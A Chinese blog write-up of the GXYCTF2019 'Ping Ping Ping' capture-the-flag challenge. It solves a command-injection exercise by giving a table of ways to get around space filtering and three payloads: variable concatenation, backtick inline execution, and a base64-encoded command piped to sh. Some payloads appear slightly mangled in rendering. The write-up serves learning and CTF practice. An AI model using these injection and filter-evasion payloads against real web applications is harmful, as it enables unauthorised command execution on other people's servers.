GXYCTF2019 Ping Ping Ping1
[GXYCTF2019]Ping Ping Ping1
进入靶机

看到/?ip=?的提示,结合源代码没有任何东西,尝试bp抓包

查看请求头想到X-Forwarded-For

对于X-Forwarded-For有以上解释,简单概括就是表示请求端的真实IP

发现无响应事件,查了一下后发现只是在地址栏改就ok了…

发现空格被过滤
关于空格绕过我做过研究
空格绕过
| 操作系统 | 前置条件 | 字符 | 起效部分 | 实质 |
|---|---|---|---|---|
| Linux | $IFS$9 | 本身 | ||
| Linux | $IFS$1 | 本身 | ||
| Linux | ${IFS} | 本身 | ||
| Linux | $IFS\ | 本身 | ||
| Linux | {cat,text.php} | 在{}包含下”,”起作用 | ||
| Linux | < | 本身 | 重定向符 | |
| Linux | <> | 本身 | 重定向符 | |
| 未测定 | php环境 | %20 | 本身 | space |
| 未测定 | php环境 | %09 | 本身 | tab |

这里用<>尝试

发现符号也被过滤了,再试试$IFS$9

发现flag也被过滤了,所以想到拼接绕过

试了很多次都不行最后猜想flag四个字母不管顺序,都不能同时出现
拒绝继续黑盒测试,看看index.php中到底过滤了啥

方法一
简单审计了一下代码,这不是换个顺序就好了吗……
payload
1 | /?ip=127.0.0.1||b=g;cat$IFS$9fla$b.php |

拿到flag
但发现这里还有一个shell_exec()函数,有点兴趣

看了一下手册,发现就是输出字符型的命令执行结果
方法二
再看了一下网上 的wp发现还有个内联执行 (真正的大佬操作,给跪了)
构造 /?ip=127.0.0.1;cat$IFS$9ls
什么正则都是浮云,可能这就是大佬的世界把。
注:内联,就是将反引号内命令的输出作为输入执行。
方法三
方法二 sh,bash下编码
payload:
1 | echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh |
解码后 cat falg.php

拿到flag
Comments
Comment plugin failed to load
Loading comment plugin